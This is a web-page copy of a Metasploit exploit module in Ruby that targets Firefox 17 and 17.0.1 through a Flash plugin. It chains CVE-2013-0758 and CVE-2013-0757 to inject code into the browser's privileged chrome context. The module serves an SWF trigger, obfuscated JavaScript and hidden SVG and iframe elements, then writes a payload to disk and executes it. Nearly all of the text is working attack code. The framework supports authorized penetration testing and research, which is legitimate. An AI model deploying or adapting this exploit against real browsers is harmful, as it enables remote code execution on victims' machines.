Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/firefox_svg_plugin.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::BrowserExploitServer
10
include Msf::Exploit::EXE
11
# include Msf::Exploit::Remote::BrowserAutopwn
12
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
13
14
# autopwn_info({
15
# :ua_name => HttpClients::FF,
16
# :ua_minver => "17.0",
17
# :ua_maxver => "17.0.1",
18
# :javascript => true,
19
# :rank => NormalRanking
20
# })
21
22
def initialize(info = {})
23
super(
24
update_info(
25
info,
26
'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
27
'Description' => %q{
28
This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
29
the user has installed Flash. No memory corruption is used.
30
31
First, a Flash object is cloned into the anonymous content of the SVG
32
"use" element in the <body> (CVE-2013-0758). From there, the Flash object
33
can navigate a child frame to a URL in the chrome:// scheme.
34
35
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
36
around the child frame's window reference and inject code into the chrome://
37
context. Once we have injection into the chrome execution context, we can write
38
the payload to disk, chmod it (if posix), and then execute.
39
40
Note: Flash is used here to trigger the exploit but any Firefox plugin
41
with script access should be able to trigger it.
42
},
43
'License' => MSF_LICENSE,
44
'Targets' => [
45
[
46
'Universal (Javascript XPCOM Shell)', {
47
'Platform' => 'firefox',
48
'Arch' => ARCH_FIREFOX
49
}
50
],
51
[
52
'Native Payload', {
53
'Platform' => %w{java linux osx solaris win},
54
'Arch' => ARCH_ALL
55
}
56
]
57
],
58
'DefaultTarget' => 0,
59
'Author' => [
60
'Marius Mlynski', # discovery & bug report
61
'joev', # metasploit module
62
'sinn3r' # metasploit fu
63
],
64
'References' => [
65
['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
66
['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
67
['OSVDB', '89019'], # maps to CVE 2013-0757
68
['OSVDB', '89020'], # maps to CVE 2013-0758
69
['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
70
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
71
],
72
'DisclosureDate' => '2013-01-08',
73
'BrowserRequirements' => {
74
:source => 'script',
75
:ua_name => HttpClients::FF,
76
:ua_ver => /17\..*/,
77
:flash => /[\d.]+/
78
},
79
'Notes' => {
80
'Reliability' => UNKNOWN_RELIABILITY,
81
'Stability' => UNKNOWN_STABILITY,
82
'SideEffects' => UNKNOWN_SIDE_EFFECTS
83
}
84
)
85
)
86
87
register_options(
88
[
89
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ]),
90
OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
91
], Auxiliary::Timed
92
)
93
end
94
95
def on_request_exploit(cli, request, info)
96
if request.uri =~ /\.swf$/
97
# send Flash .swf for navigating the frame to chrome://
98
print_status("Sending .swf trigger.")
99
send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
100
else
101
# send initial HTML page
102
print_status("Target selected: #{target.name}")
103
print_status("Sending #{self.name}")
104
send_response_html(cli, generate_html(cli, target))
105
end
106
end
107
108
# @return [String] the contents of the .swf file used to trigger the exploit
109
def flash_trigger
110
swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
111
@flash_trigger ||= File.read(swf_path)
112
end
113
114
# @return [String] containing javascript that will alert a debug string
115
# if the DEBUG is set to true
116
def js_debug(str, quote = "'")
117
if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
118
end
119
120
# @return [String] HTML that is sent in the first response to the client
121
def generate_html(cli, target)
122
vars = {
123
:symbol_id => 'a',
124
:random_domain => 'safe',
125
:payload => run_payload, # defined in FirefoxPrivilegeEscalation mixin
126
:payload_var => 'c',
127
:payload_key => 'k',
128
:payload_obj_var => 'payload_obj',
129
:interval_var => 'itvl',
130
:access_string => 'access',
131
:frame_ref => 'frames[0]',
132
:frame_name => 'n',
133
:loader_path => "#{get_module_uri}.swf",
134
:content => self.datastore['CONTENT'] || ''
135
}
136
script = js_obfuscate %Q|
137
var #{vars[:payload_obj_var]} = #{JSON.unparse({ vars[:payload_key] => vars[:payload] })};
138
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
139
function $() {
140
document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
141
}
142
function _() {
143
return '#{vars[:frame_name]}';
144
}
145
var #{vars[:interval_var]} = setInterval(function(){
146
try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
147
catch(e){
148
clearInterval(#{vars[:interval_var]});
149
var p = Object.getPrototypeOf(#{vars[:frame_ref]});
150
var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
151
Object.prototype.__lookupSetter__("__proto__").call(p, o);
152
p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
153
}
154
}, 100);
155
document.querySelector('object').data = "#{vars[:loader_path]}";
156
document.querySelector('use').setAttributeNS(
157
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
158
);
159
|
160
161
%Q|
162
<!doctype html>
163
<html>
164
<head>
165
<base href="chrome://browser/content/">
166
</head>
167
<body>
168
169
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
170
<symbol id="#{vars[:symbol_id]}">
171
<foreignObject>
172
<object></object>
173
</foreignObject>
174
</symbol>
175
<use />
176
</svg>
177
178
<script>
179
#{script}
180
</script>
181
182
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
183
name="#{vars[:frame_name]}"></iframe>
184
#{vars[:content]}
185
</body>
186
</html>
187
|
188
end
189
end
190
191